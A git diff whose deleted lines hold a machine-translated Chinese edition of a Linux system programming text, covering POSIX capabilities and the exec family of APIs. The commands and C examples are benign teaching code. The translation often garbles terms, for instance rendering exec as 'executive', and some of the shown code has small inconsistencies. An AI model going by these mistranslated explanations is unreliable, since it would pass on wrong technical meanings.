-以下是`ch8/set_pcap.c`***:***的相关代码 - -```sh -int main(int argc, char **argv) -{ - int opt, ncap; - cap_t mycaps; - cap_value_t caps2set[2]; - - if (argc < 2) - usage(argv, EXIT_FAILURE); - - opt = atoi(argv[1]); - if (opt != 1 && opt != 2) - usage(argv, EXIT_FAILURE); - - /* Simple signal handling for the pause... */ - [...] - - //--- Set the required capabilities in the Thread Eff capset - mycaps = cap_get_proc(); - if (!mycaps) - FATAL("cap_get_proc() for CAP_SETUID failed, aborting...\n"); - - if (opt == 1) { - ncap = 1; - caps2set[0] = CAP_SETUID; - } else if (opt == 2) { - ncap = 2; - caps2set[1] = CAP_SYS_ADMIN; - } - if (cap_set_flag(mycaps, CAP_EFFECTIVE, ncap, caps2set, - CAP_SET) == -1) { - cap_free(mycaps); - FATAL("cap_set_flag() failed, aborting...\n"); - } - -/* For option 1, we need to explicitly CLEAR the CAP_SYS_ADMIN capability; this is because, if we don't, it's still there as it's a file capability embedded into the binary, thus becoming part of the process Eff+Prm capsets. Once cleared, it only shows up in the Prm Not in the Eff capset! */ - if (opt == 1) { - caps2set[0] = CAP_SYS_ADMIN; - if (cap_set_flag(mycaps, CAP_EFFECTIVE, 1, caps2set, - CAP_CLEAR) == -1) { - cap_free(mycaps); - FATAL("cap_set_flag(clear CAP_SYS_ADMIN) failed, aborting...\n"); - } - } - - /* Have the caps take effect on the process. - * Without sudo(8) or file capabilities, it fails - as expected. - * But, we have set the file caps to CAP_SETUID (in the Makefile), - * thus the process gets that capability in it's effective and - * permitted capsets (as we do a '+ep'; see below):" - * sudo setcap cap_setuid,cap_sys_admin+ep ./set_pcap - */ - if (cap_set_proc(mycaps) == -1) { - cap_free(mycaps); - FATAL("cap_set_proc(CAP_SETUID/CAP_SYS_ADMIN) failed, aborting...\n", - (opt==1?"CAP_SETUID":"CAP_SETUID,CAP_SYS_ADMIN")); - } - [...] - - printf("Pausing #1 ...\n"); - pause(); - test_setuid(); - cap_free(mycaps); - - printf("Now dropping all capabilities and reverting to original self...\n"); - drop_caps_be_normal(); - test_setuid(); - - printf("Pausing #2 ...\n"); - pause(); - printf(".. done, exiting.\n"); - exit (EXIT_SUCCESS); -} -``` - -让我们构建它: - -```sh -$ make set_pcap -gcc -Wall -o set_pcap set_pcap.c common.o -lcap -sudo setcap cap_setuid,cap_sys_admin+ep ./set_pcap -$ getcap ./set_pcap -./set_pcap = cap_setuid,cap_sys_admin+ep -$ -``` - -请注意,`setcap(8)`已将文件功能嵌入到二进制可执行文件`set_pcap`中(`getcap(8)`会对其进行验证)。 - -试一试;我们将首先使用选项`2`运行它: - -```sh -$ ./set_pcap 2 & -[1] 3981 -PID 3981 now has CAP_SETUID,CAP_SYS_ADMIN capability. -Pausing #1 ... -$ -``` - -`pause(2)`系统调用使进程进入休眠状态;这是故意这样做的,这样我们就可以尝试一下(参见下一段代码)。 顺便说一句,为了解决这个问题,程序设置了一些最小的信号处理;但是,这个主题将在后面的章节中详细讨论。 现在,只需理解暂停(以及相关的信号处理)允许我们真正地“暂停”进程、检查内容,并在完成后向其发送继续操作的信号: - -```sh -$ ./query_pcap 3981 -Process 3981 : capabilities are: = cap_setuid,cap_sys_admin+ep -$ grep -i cap /proc/3981/status -Name: set_pcap -CapInh: 0000000000000000 -CapPrm: 0000000000200080 -CapEff: 0000000000200080 -CapBnd: 0000003fffffffff -CapAmb: 0000000000000000 -$ -``` - -在上面,我们通过我们自己的`query_pcap`程序和 proc 文件系统检查该进程。 `CAP_SETUID`和`CAP_SYS_ADMIN`功能都存在于*允许的*和*有效的*上限中。 - -要继续该过程,我们向其发送信号;这是一种简单的方式-通过`kill(1)`命令(详细信息见后面的[第 11 章](11.html),*信号-第 I 部分*)。 现在有相当多的东西值得一看: - -```sh -$ kill %1 -*(boing!)* -test_setuid: -RUID = 1000 EUID = 1000 -RUID = 1000 EUID = 0 -Now dropping all capabilities and reverting to original self... -test_setuid: -RUID = 1000 EUID = 1000 -!WARNING! set_pcap.c:test_setuid:55: seteuid(0) failed... -perror says: Operation not permitted -RUID = 1000 EUID = 1000 -Pausing #2 ... -$ -``` - -有趣的**(boing!)**只是通知我们信号处理已经发生的过程。 (忽略它。)。 我们调用`test_setuid()`函数,即函数代码: - -```sh -static void test_setuid(void) -{ - printf("%s:\nRUID = %d EUID = %d\n", __FUNCTION__, - getuid(), geteuid()); - if (seteuid(0) == -1) - WARN("seteuid(0) failed...\n"); - printf("RUID = %d EUID = %d\n", getuid(), geteuid()); -} -``` - -我们尝试使用`seteuid(0)`行代码(有效地)成为*根*。 输出向我们表明,当 EUID 变为`0`时,我们已经成功完成了此操作。 在此之后,我们调用`drop_caps_be_normal()`函数,该函数“丢弃”所有功能*,*使用前面看到的`setuid(getuid())`语义将我们还原为“我们的原始自我”;函数代码: - -```sh -static void drop_caps_be_normal(void) -{ - cap_t none; - - /* cap_init() guarantees all caps are cleared */ - if ((none = cap_init()) == NULL) - FATAL("cap_init() failed, aborting...\n"); - if (cap_set_proc(none) == -1) { - cap_free(none); - FATAL("cap_set_proc('none') failed, aborting...\n"); - } - cap_free(none); - - /* Become your normal true self again! */ - if (setuid(getuid()) < 0) - FATAL("setuid to lower privileges failed, aborting..\n"); -} -``` - -程序输出确实向我们显示,EUID 现在恢复为非零(`1000`的 RUID),并且`seteuid(0)`如预期的那样失败(现在我们已经删除了功能和根权限)。 - -然后,进程再次调用`pause(2)`语句(输出中的`"Pausing #2 ..."`语句),以使进程保持活动状态;现在我们可以看到: - -```sh -$ ./query_pcap 3981 -Process 3981 : capabilities are: = -$ grep -i cap /proc/3981/status -Name: set_pcap -CapInh: 0000000000000000 -CapPrm: 0000000000000000 -CapEff: 0000000000000000 -CapBnd: 0000003fffffffff -CapAmb: 0000000000000000 -$ -``` - -事实上,所有的能力都已经被放弃了。 (我们将运行带有选项`1`的程序的测试用例留给读者。) - -这里有一个有趣的地方:您可能会发现语句`CAP_SYS_ADMIN`是新的根。 真的? 让我们测试一下:如果我们只将`CAP_SYS_ADMIN`功能嵌入到二进制文件中,并修改代码,使其在选项`1`下运行时不会删除它,会怎么样? 乍一看,这似乎无关紧要-我们应该仍然能够成功执行`seteuid(0)`测试,因为我们实际上是以 root 身份使用此功能运行的。 但是你猜怎么着? 这不管用! 底线是:这告诉我们,虽然这句话听起来不错,但它实际上并不完全正确! 我们仍然需要`CAP_SETUID`功能来执行`set*id()`系统调用的任意使用。 - -我们让读者来编写本例的代码,并将其作为练习进行测试。 - -# 混杂的 / 各种各样的 / 多才多艺的 - -下面是剩下的一些杂乱无章但仍然有用的要点和小贴士: - -# Ls 如何显示不同的二进制文件 - -当显示不同的二进制可执行文件类型时,Fedora 27(X86_64)的屏幕截图显示了漂亮的颜色`*ls* -l`: - -![](img/40ef71dc-ca7b-45cc-841e-95a96ec8fdf1.png) - -这些二进制文件到底是什么? 让我们按照上面显示的顺序列出它们: - -* `dumpcap`:文件功能二进制可执行文件 -* `passwd`:`setuid-root`二进制可执行文件 -* `ping`:文件功能二进制可执行文件 -* `write`:`setgid-tty`二进制可执行文件 - -注意:确切的含义和颜色在不同的 Linux 发行版中当然会有所不同;显示的输出来自 Fedora27x86_64 系统。 - -# 权限模型分层 - -既然我们已经了解了这两种模型的详细信息-上一章中的传统 UNIX 权限和本章中的现代 POSIX 功能,我们将对其进行鸟瞰。 现代 Linux 内核的实际情况是,遗留模型实际上是在较新的功能模型之上分层的;下表显示了这种“分层”: - -| **利弊** | **模型/属性** | -| 更简单, -不太安全 | 嵌入了 UID、GID 值的 UNIX 权限 -进程和文件 | -| | 进程凭证:{RUID,RGID,EUID,EGID} | -| 更复杂, -更安全 | POSIX 功能 | -| | 螺纹大写字母,文件大写字母 | -| | 每线程:{继承,允许,有效,限定,环境}大写字母 -二进制文件:{继承,允许,有效}大写字母 | - -由于这种分层,有几点需要注意,如下所示: - -* 在上层:显示为单个整数的进程 UID 和 GID 实际上是幕后的两个整数-真实有效的用户|组 ID。 -* 中间层:产生四个进程凭证:{RUID,EUID,RGID,EGID}。 -* 底层:它又在现代 Linux 内核上集成到 POSIX 功能模型中: - * 所有内核子系统和代码现在都使用能力模型来控制和确定对对象的访问。 - * 现在,*根*-实际上是“新的”根-基于(重载)能力位`CAP_SYS_ADMIN`被设置。 - * 一旦存在`CAP_SETUID`功能,就可以任意使用 set*id()系统调用来设置真实/有效的 ID: - * 因此,您可以使 EUID=0,依此类推。 - -# 安全提示 - -以下是有关安全的要点的快速总结: - -* 显然,在我们的所有讨论中,尽可能不再使用现在已经过时的根模式;这包括(非)使用 setuid-root 程序。 相反,您应该使用功能,并且只将所需的功能分配给进程: - - * 直接或以编程方式通过`libcap(3)`API(“功能智能”二进制文件),或者 - * 间接通过二进制文件上的`setcap(8)`文件功能(“Capability-Dumb”二进制文件)。 -* 如果上述操作是通过 API 路由完成的,则应考虑在完成对该功能的需求后立即放弃该功能(并仅在需要时提高该功能)。 -* 容器:一种“热门”的相当新的技术(本质上,容器在某种意义上是轻量级的虚拟机),它们被称为“安全的”,因为它们有助于隔离运行的代码。 然而,现实并不是那么乐观:容器部署通常很少或根本没有考虑到安全性,从而导致高度不安全的环境。 明智地使用 POSIX 功能模型可以极大地提高安全性。 下面详细介绍了一个有趣的 RHEL 博客,内容是如何要求 Docker(一种流行的容器技术产品)降低功能,从而极大地提高安全性:[https://rhelblog.redhat.com/2016/10/17/secure-your-containers-with-this-one-weird-trick/](https://rhelblog.redhat.com/2016/10/17/secure-your-containers-with-this-one-weird-trick/)。 - -# 仅供参考-在引擎盖下,在内核级别 - -(下面的段落仅供参考,可选;如果对更深层次的细节感兴趣,请看一看,或者跳过它。) - -在 Linux 内核中,所有任务(进程和线程)元数据都保存在名为*TASK_STRUT*(也称为*进程描述符*)的数据结构中。 关于 Linux 所称的*任务*的安全上下文的信息保存在这个任务结构中,嵌入在另一个称为**Cred**(缩写为**Credentials**)的数据结构中。 这个结构*cred*包含了我们讨论过的所有内容:现代 POSIX 功能位掩码(或功能集)以及传统风格的进程特权:RUID、EUID、RGID、EGID(以及 set[u|g]id 和 fs[u|g]id 位)。 - -我们前面看到的`procfs`方法实际上从这里查找凭证信息。 黑客显然对访问 CredD 结构感兴趣,并且能够动态地修改它:在适当的位置用零填充它会得到它们的根! 这听起来是不是很牵强呢? 请参阅 GitHub 存储库的*进一步阅读*部分中的*(一些)Linux 内核漏洞*。 不幸的是,这种情况发生的频率比任何人都希望的要高。 - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -在本章中,读者已经领略了有关现代 POSIX 功能模型(在 Linux 操作系统上)的设计和实现的重要思想。 此外,我们还介绍了什么是 POSIX 功能,以及为什么它们很重要,尤其是从安全性的角度来看,这一点至关重要。 还介绍了如何将功能嵌入到运行时进程或二进制可执行文件中。 - -从上一章开始的讨论的全部目的是让应用开发人员了解在开发代码时出现的关键安全问题。 我们希望我们给读者们留下了一种紧迫感,当然还有以现代方式处理安全问题的知识和工具。 今天的应用不仅要工作;它们在编写时必须考虑到安全性! 否则..。* \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/09.md b/docs/handson-sys-prog-linux/09.md deleted file mode 100644 index 6c41f9cb..00000000 --- a/docs/handson-sys-prog-linux/09.md +++ /dev/null @@ -1,583 +0,0 @@ -# 九、进程执行 - -想象一下这样的场景:当作为系统程序员(在 Linux 上使用 C)处理项目时,要求在**图形用户界面(GUI**)前端应用中,当最终用户单击某个按钮时,应用必须显示系统生成的 PDF 文档的内容。 我们可以假设我们可以使用 PDF 阅读器软件应用。 但是,具体如何从您的 C 代码中运行它呢? - -本章将教你如何执行这项重要任务。 在这里,我们将学习一些核心的 Unix/Linux 系统编程概念:Unix`exec`系列模型是如何工作的,前置/后继术语,以及如何使用多达七个 Unix`exec`系列 API 来使整个事情在代码中实际工作。 当然,在此过程中,我们使用代码示例来清楚地说明概念。 - -简而言之,读者将了解以下关键领域: - -* `exec`+运算的含义及其语义 - * 测试`exec`操作 - * 使用`exec`-正确和错误的方法 - -* 使用`exec`进行错误处理 -* 这七个`exec`系列 API 以及如何在代码中使用它们。 - -# 技术要求 - -本章中的练习之一需要安装弹出窗口软件包(PDF Utils);可以按如下方式安装: - -在 Ubuntu 上:`sudo apt install poppler-utils` - -关于 Fedora:`sudo dnf install poppler-utils-` - -Regarding the Fedora case: to get the version number, just type the above command, and after typing `poppler-utils-` press the *Tab* key twice; it will autocomplete providing a list of choices. Choose the latest version and press *Enter*. - -# 进程执行 - -在这里,我们研究 Unix/Linux 操作系统是如何在系统程序员的层面上执行程序的。 首先,我们将教您理解重要的`exec`语义;一旦明确了这一点,您就可以使用`exec`系列 API 对其进行编程。 - -# 将程序转换为进程 - -如前所述,程序是存储介质上的二进制文件;它本身就是一个死对象。 要运行它,从而使它活跃起来,进入进程*,*,我们必须执行它。 比方说,当你从外壳运行一个程序时,它确实会活跃起来,成为一个进程。 - -下面是一个快速示例: - -```sh -$ ps - PID TTY TIME CMD - 3396 pts/3 00:00:00 bash -21272 pts/3 00:00:00 ps -$ -``` - -查看前面的代码,从 shell(本身是一个进程:bash),我们运行或执行`ps(1)`程序;`ps`确实运行;它现在是一个进程;它完成它的工作(这里打印出这个终端会话中当前活动的进程),然后礼貌地死去,让我们回到 shell 的提示符下。 - -片刻的思考会发现,要让`ps(1)`程序成为`ps`进程,可能需要由**操作系统**和**系统**(**OS**)来完成一些工作。 事实上,情况就是这样:操作系统执行一个程序,并最终通过 API、系统调用(称为`execve(2)`)使其成为一个正在运行的进程。 不过,现在让我们把 API 放在一边,把重点放在概念上。 - -# 执行 Unix 公理 - -我们在涵盖虚拟内存的[第 2 章](02.html)、*虚拟内存*、*和*中了解到,进程可以可视化为一个方框(矩形),具有一个**虚拟地址空间**(**VAS**);VAS 由称为段的同构区域(从技术上讲,是映射)组成。 因此,从本质上讲,进程的 VAS 由几个段组成-文本(代码)、数据段、库(和其他)映射以及堆栈。 为方便起见,此处复制了表示进程的 VAS 的图表: - -![](img/ec63b079-fa41-4cab-be3a-c912d5369c85.png) - -Fig 1 : The process virtual address space (VAS) The lower end has a virtual address of `0`, and addresses increase as we go up; we have an upward-growing heap and a downward-growing stack. - -机器上的每个活动进程都有这样一个进程 VAS;因此,合乎情理的是,我们前面的小示例 bash 中的 shell 就有这样一个进程 VAS(以及它的所有其他属性,如**进程标识符**、(**PID**)、打开的文件等)。 - -因此,让我们假设 shell 进程 bash 的**PID**值为 3396。 现在,当我们从 shell 运行`ps`时,实际发生了什么? - -显然,作为第一步,shell 检查`ps`是否为内置命令;如果是,则运行它;如果不是,则继续执行第二步。 现在,shell 解析`PATH`环境变量,并定位到`/bin`中的`ps`。 第三步,也是有趣的一步,就是 shell 进程现在通过 API 执行`/bin/ps`的地方。 我们将把确切的 API 留待以后讨论;目前,我们只将可能的 API 称为`exec`API。 - -不要因为树而失去森林;我们现在要谈到的一个关键点是:当`exec`发生时,调用进程(Bash)通过让(在其他设置中)、`ps`覆盖它的**虚拟地址空间**(**VAS**)来执行被调用的**进程**(`ps`)。 是的,您知道在 Unix 上执行进程是正确的,因此 Linux 是通过让一个进程(即`caller`)被要执行的进程(即`callee`)覆盖来实现的。 - -**术语** - -下面是一些重要的术语来帮助我们:调用`exec`(在我们的示例中为`bash`)的进程称为*前置进程*;被调用并执行的进程(在我们的示例中为`ps`)称为*后继进程*。 - -# EXEC 操作过程中的关键点 - -以下总结了前任进程和高管更换继任者时需要注意的要点: - -* 后继进程覆盖(或覆盖)前导进程的虚拟地址空间。 - * 实际上,前置文件的文本、数据、库和堆栈段现在已被后置文件的文本、数据、库和堆栈段替换。 - * 操作系统将负责调整大小。 -* 没有创建新的进程-现在后继进程在旧的前置进程的上下文中运行。 - - * 因此,后继者会自动继承几个前置属性(包括但不限于 PID 和打开文件)。 - (敏锐的读者可能会问,为什么在我们前面的示例中,`ps`的 PID 不是 3396? 请耐心等待,我们将在 GitHub 资源库上找到确切答案)。 - -* 对于一位成功的高管来说,不可能回到前任;它已经消失了。 通俗地说,执行高管就像是为前任自杀:成功执行后,继任者就是唯一的了;回到前任是不可能的: - -![](img/b9370fcb-5c9a-4169-a06e-d84998fdf879.png) - -*Fig 2: The exec operation* - -# 测试 EXEC 公理 - -你能测试一下上面描述的这个`exec`公理吗? 好的。 让我们用三种不同的方式来尝试一下。 - -# 实验 1-在 CLI 上,没有任何装饰 - -按照下面的简单步骤操作: - -1. 启动 shell(通常是基于 GUI 的 Linux 上的终端窗口) -2. 在窗口中,或者更准确地说,在 shell 提示符下键入以下内容: - -```sh - $ exec ps -``` - -你注意到什么了吗? 你能解释一下吗? - -Hey, come on, please try it out first, and then read on. - -Yes, the terminal window process is the predecessor here; upon an `exec` it's overwritten by the successor process `ps`, which does its work and exits (you probably did not see the output as it disappeared too quickly). `ps `is the successor process, and, of course, we cannot return to the predecessor (the Terminal window)—`ps` has literally replaced its VAS.  Thus, the Terminal window effectively disappears. - -# 实验 2-再次在 CLI 上 - -这一次,我们会让你轻松一些! 按照给定的步骤操作: - -1. 启动一个 shell(通常是基于 GUI 的 Linux 上的终端窗口)。 -2. 在窗口中,或者更准确地说,在 shell 提示符下运行`ps`,然后运行`bash `-是的,我们在这里生成一个子 shell,然后再次运行`ps`。 (查看下一个屏幕截图;请注意原始和子 shell Bash 进程的 PID-3,396 和 13,040。) -3. 在子 shell 上,`exec``ps`命令;这个`ps`后续进程覆盖(或覆盖)前一个进程-bash 子 shell 的进程映像。 -4. 观察输出:在`exec ps`*和*命令输出中,`ps`的 PID 是 bash subshell 进程的 PID:13,040! 这表明它是在该过程的上下文中运行的。 -5. 还要注意,现在我们回到了最初的 bash shell 进程 PID 3396,当然,我们不能返回到以前的进程: - -![](img/1fe76029-5ac1-418b-bdac-2c603d074b07.png) - -一旦我们有了一些`exec`API 可以使用,第三次实验运行很快就会到来。 - -# 不归路的关键 - -对于系统程序员来说,重要的是要明白,一旦`exec`操作成功,就不会返回到前一个进程。 为了说明这一点,请看下面的粗略调用图: - -```sh -main() - foo() - exec(something) - bar() -``` - -`main()`调用`foo()`*,*调用`exec(something)`,一旦`exec`成功,`bar()`将永远不会运行! - -为什么不行? 我们无法在前置进程的执行路径中到达它,因为整个执行上下文现在已经更改-更改为后继进程的上下文(某物)。 不过,PID 仍然完好无损。 - -只有当`exec`失败时,函数`bar()`才会获得控制权(当然,我们仍会处于前身的上下文中)。 - -作为进一步的补充,请注意,`exec()`操作本身可能成功,但正在执行的进程失败。 没关系;它不会改变语义;`bar()`仍然不会执行,因为后继者已经接管了。 - -# 家庭时光-高管家庭宣传片 - -既然我们已经理解了`exec`语义,那么是时候看看如何以编程方式执行`exec`操作了。 UNIX 和 Linux 提供了几个 CAPI(实际上是 7 个),它们最终都完成相同的工作:它们的前身进程`exec`是后继进程。 - -那么,有 7 个 API 都做同样的事情? 大多数情况下是这样的;因此它们被称为`exec`系列 API。 - -让我们来看看它们: - -```sh -#include -extern char **environ; - -int execl(const char *path, const char *arg, ...); -int execlp(const char *file, const char *arg, ...); -int execle(const char *path, const char *arg, ..., - char * const envp[]); -int execv(const char *path, char *const argv[]); -int execvp(const char *file, char *const argv[]); -int execvpe(const char *file, char *const argv[], - char *const envp[]); - execvpe(): _GNU_SOURCE -``` - -等等,虽然我们说了七个 API,但上面的列表有六个;事实上,第七个在某种意义上是特殊的,上面没有显示出来。 像往常一样,请耐心点,我们会处理的! - -事实是,尽管每个 API 最终都将执行相同的工作,但根据您所处的情况使用特定的 API 会有所帮助(为了方便起见)。 让我们不要吹毛求疵,至少就目前而言,忽略他们的差异;相反,让我们专注于理解第一个差异;其他的将自动而容易地跟进。 - -以第一个 API`execl(3)`为例: - -```sh -int execl(const char *path, const char *arg, ...); -``` - -它需要两个、三个或更多参数吗? 如果您是新手,那么省略号--`...`1--表示一个变量参数列表或`varargs`,这是编译器支持的一个特性。 - -第一个参数是要执行的应用的路径名。 - -从第二个参数`varargs`开始,要传递给后续进程的参数包括`argv[0]`。 想想看,在上面的简单实验中,我们通过 shell 进程在命令行上传递参数;实际上,传递后续进程所需参数的实际上是 shell 进程,即前身进程。 这是有道理的:除了前任,还有谁会把争论传递给继任者呢? - -编译器如何知道您已经完成了参数传递? 简单:您必须空终止参数列表:`execl(const char *pathname_to_successor_program, const char *argv0, const char *argv1, ..., const char *argvn, (char *)0);` - -现在您可以知道它为什么这样命名了:当然,`execl`API 执行 EXEC;最后一个字母`l`表示长格式;后续进程的每个参数都传递给它。 - -为了阐明这一点,让我们编写一个简单的示例 C 程序;它的工作是调用`uname`进程: - -For readability, only the relevant parts of the code are displayed here; to view and run it, the entire source code is available here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -```sh -int main(int argc, char **argv) -{ - if (argc < 2) { - [...] - } - - /* Have us, the predecessor, exec the successor! */ - if (execl("/bin/uname", "uname", argv[1], (char *)0) == -1) - FATAL("execl failed\n"); - - printf("This should never get executed!\n"); - exit (EXIT_SUCCESS); -} -``` - -以下是需要注意的几点: - -* `execl`API 的第一个参数是后继者的路径名。 -* 第二个参数是程序的名称。 小心:一个相当典型的新手错误是省略它! -* 在这个简单的例子中,我们只是传递用户作为参数`argv[1]`:`-a`或`-r`发送的任何内容;我们甚至不会执行健壮的错误检查来确保用户传递正确的参数(我们把它留给您作为练习)。 -* 如果我们只是试图用单个`0`空终止符,编译器就会报错,并显示如下警告(根据您使用的`gcc`编译器版本的不同,警告可能会有所不同): - `warning: missing sentinel in function call [-Wformat=]`。 - 要消除该警告,必须将`0`类型转换为`(char *)`,如代码所示。 -* 最后,我们使用`printf()`来演示控件永远不会到达它。 这是为什么? 嗯,想想看: - * 不是`execl`成功,就是后续进程(`uname`)接管。 - * 或者`execl`失败;`FATAL`宏执行错误报告并终止前置任务。 - -让我们构建并试用它: - -```sh -$ ./execl_eg -Usage: ./execl_eg {-a|-r} - -a : display all uname info - -r : display only kernel version -$ -``` - -传递一个参数;我们在这里展示几个示例: - -```sh -$ ./execl_eg -r -4.13.0-36-generic -$ ./execl_eg -a -Linux seawolf-mindev 4.13.0-36-generic #40-Ubuntu SMP Fri Feb 16 20:07:48 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux -$ ./execl_eg -eww -uname: invalid option -- 'e' -Try 'uname --help' for more information. -$ -``` - -它确实可以工作(不过,从最后一个例子可以看出,`execl_eg`*和*程序的参数错误检查不是很好)。 - -We encourage you to try this simple program out yourself; in fact, experiment a bit: for example, change the first parameter to some unknown (for example, `/bin/oname`) and see what happens. - -# 走错了路 - -有时候,为了展示做某事的正确方式,首先看到它做错了是很有用的! - -# 错误处理和 EXEC - -一些程序员在炫耀:他们不使用*if*条件来检查`exec`API 是否失败;他们只编写`exec`之后的代码行作为失败案例! - -例如,以前面的程序为例,但将代码更改为此,这样做的方法是错误的: - -```sh -execl("/bin/uname", "uname", argv[1], (char *)0); -FATAL("execl failed\n"); -``` - -是的,它是有效的:控制会到达`'FATAL()'`行的唯一原因是 EXEC 操作失败。 这听起来很酷,但是请不要那样编写代码。 要专业,遵守规则和良好的编码风格指南;你会成为一名更好的程序员,并为此感到高兴! (一个无辜的新程序员甚至可能没有意识到上面`execl`后面的内容实际上是错误处理;谁会责怪他呢? 他可能会尝试将一些业务逻辑放在那里!) - -# 将零作为参数传递 - -假设我们有一个(虚构的)需求:在我们的 C 代码中,我们必须执行程序`/projectx/do_this_now`,传递三个参数:`-1`、`0`和`55`。 如下所示: - -`/projectx/do_this_now -1 0 55` - -回想一下`exec`API 的语法: - -`execl(const char *pathname_to_successor_program, const char *argv0, const char *argv1, ..., const char *argvn, (char *)0);` - -所以,这看起来相当微不足道;让我们来做吧: - -`execl("/projectx/do_this_now", "do_this_now", -1, 0, 55, (char *)0);` - -哎呀! 编译器将(或*可以*)将后续`0`(在`-1`之后)的第二个参数解释为`NULL`终止符,因此不会看到以下参数`55`。 - -解决这个问题很容易;我们只需记住*后续*进程的每个参数都是数据类型字符指针*,而不是整数;`NULL`终止符本身是一个整数(尽管为了让编译器满意,我们将其类型转换为`(char *)`),如下所示:* - - *`execl("/projectx/do_this_now", "do_this_now", "-1", "0", "55", (char *)0);` - -# 指定继任者的名称 - -不,我们不是在争论如何黑掉谁将在这里继承女王伊丽莎白二世的王位,抱歉。 我们指的是:如何正确指定后续进程的名称;也就是说,我们可以通过编程将其更改为我们喜欢的任何名称吗? - -乍一看,它确实微不足道:`execl`的第二个参数是要传递给后继者的`argv[0]`参数;实际上,它看起来就是它的名称! 因此,让我们尝试一下:我们编写了两个 C 程序;第一个程序(`ch9/predcs_name.c`)从用户那里传递了一个 name 参数。 然后,它执行我们的另一个程序`successor_setnm`,通过`execl`传递用户提供的名称作为第一个参数(在 API 中,它将后继`argv[0]`参数设置为前置程序的`argv[1]`),如下所示:`execl("./successor_setnm", argv[1], argv[1], (char *)0);` - -回想一下`execl`语法:`execl(pathname_to_successor_program, argv0, argv1, ..., argvn, 0);` - -因此,这里的思路是:前任将后继者的`argv[0]`值设置为`argv[1]`,因此后继者的名称应该是前任者的`argv[1]`。 但是,它不起作用;请参见示例运行的输出: - -```sh -$ ./predcs_name -Usage: ./predcs_name {successor_name} [do-it-right] -$ ./predcs_name UseThisAsName & -[1] 12571 -UseThisAsName:parameters received: -argv[0]=UseThisAsName -argv[1]=UseThisAsName -UseThisAsName: attempt to set name to 1st param "UseThisAsName" [Wrong] -UseThisAsName: pausing now... -$ -$ ps - PID TTY TIME CMD - 1392 pts/0 00:00:01 Bash -12571 pts/0 00:00:00 successor_setnm -12576 pts/0 00:00:00 ps -$ -``` - -我们故意让后续进程调用`pause(2)`系统调用(它只是让它休眠,直到收到信号为止)。 这样,我们就可以在后台运行它,然后运行`ps`来查找后续的 PID 和名称! - -有趣:我们发现,虽然名称不是我们在`ps`输出(上面)中想要的名称,但在`printf`*;*中它是正确的,这意味着`argv[0]`已被正确接收并设置为后继者。 - -好的,我们必须清理一下;现在让我们结束后台进程: - -```sh -$ jobs -[1]+ Running ./predcs_name UseThisAsName & -$ kill %1 -[1]+ Terminated ./predcs_name UseThisAsName -$ -``` - -因此,正如现在很明显的那样,我们前面所做的是不够的:要在操作系统级别反映我们想要的名称,我们需要一个替代 API;其中一个这样的 API 是`prctl(2)`系统调用(甚至是`pthread_setname_np(3)`个 pthreadsAPI)。 这里不涉及太多细节,我们将其与`PR_SET_NAME`参数一起使用(如往常一样,请参阅`prctl(2)`上的手册页以获取完整的详细信息)。 因此,使用`prctl(2)`系统调用的正确代码(此处仅显示了来自`successor_setnm.c`的相关代码片段): - -```sh -[...] - if (argc == 3) { /* the "do-it-right" case! */ - printf("%s: setting name to \"%s\" via prctl(2)" - " [Right]\n", argv[0], argv[2]); - if (prctl(PR_SET_NAME, argv[2], 0, 0, 0) < 0) - FATAL("prctl failed\n"); - } else { /* wrong way... */ - printf("%s: attempt to implicitly set name to \"%s\"" - " via the argv[0] passed to execl [Wrong]\n", - argv[0], argv[1]); - } -[...] -$ ./predcs_name -Usage: ./predcs_name {successor_name} [do-it-right] -$ -``` - -因此,我们现在可以以正确的方式运行它*(*该逻辑涉及传递一个可选的第二个参数,该参数将用于`_correctly_`设置后续进程名称): - -```sh -$ ./predcs_name NotThis ThisNameIsRight & -[1] 12621 -ThisNameIsRight:parameters received: -argv[0]=ThisNameIsRight -argv[1]=NotThis -argv[2]=ThisNameIsRight -ThisNameIsRight: setting name to "ThisNameIsRight" via prctl(2) [Right] -ThisNameIsRight: pausing now... -$ ps - PID TTY TIME CMD - 1392 pts/0 00:00:01 Bash -12621 pts/0 00:00:00 ThisNameIsRight -12626 pts/0 00:00:00 ps -$ kill %1 -[1]+ Terminated ./predcs_name NotThis ThisNameIsRight -$ -``` - -这一次,它完全按照预期工作。 - -# 剩余的 EXEC 系列 API - -很好,我们已经详细介绍了如何使用和不使用`exec`系列 API 中的第一个--`execl(3)`。 剩下的怎么办? 让我们来看看吧;为了方便读者,我们转载了下面的列表: - -```sh -#include -extern char **environ; - -int execl(const char *path, const char *arg, ...); -int execlp(const char *file, const char *arg, ...); -int execle(const char *path, const char *arg, ..., - char * const envp[]); -int execv(const char *path, char *const argv[]); -int execvp(const char *file, char *const argv[]); -int execvpe(const char *file, char *const argv[], - char *const envp[]); - execvpe(): _GNU_SOURCE -``` - -正如多次提到的,`execl`语法是这样的:`execl(const char *pathname_to_successor_program, const char *argv0, const char *argv1, ..., const char *argvn, (char *)0);` - -回想一下,它被命名为`execl`;`l`表示一个长格式的变量参数列表:后续进程的每个参数依次传递给它。 - -现在我们来看一下这个家族中的其他 API。 - -# Execlp API - -版本`execlp`在版本`execl`的基础上稍有不同: - -`int **execlp**(const char ***file**, const char *arg, ...);` - -如前所述,`execlp`中的`l`表示一个长格式的变量参数列表;`p`表示搜索环境变量`PATH`以查找要执行的程序。 您可能知道,PATH 环境变量由一组冒号分隔的(`:`)目录组成,用于搜索要运行的程序文件;第一个匹配项是执行的程序。 - -例如,在我们的 Ubuntu VM 上(我们以用户`seawolf`的身份登录): - -```sh -$ echo $PATH -/home/seawolf/bin:/home/seawolf/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games -$ -``` - -因此,如果通过`execlp`执行进程,则不需要给出绝对路径名或完整路径名作为第一个参数,只需给出程序名即可;请参阅以下两个示例有何不同: - -`execl("/bin/uname", "uname", argv[1], (char *)0);` - -`**execlp**("uname", "uname", argv[1], (char *)0);` - -使用`execl`,您需要指定`uname`的完整路径名;使用`execlp`,您不需要;库例程将执行查找路径并计算出与`uname`匹配的工作! (它将在`/bin`中找到第一个匹配项)。 - -Use the `which` utility to locate a program, in effect finding it's first match in the path. For example: - -`$ which uname` 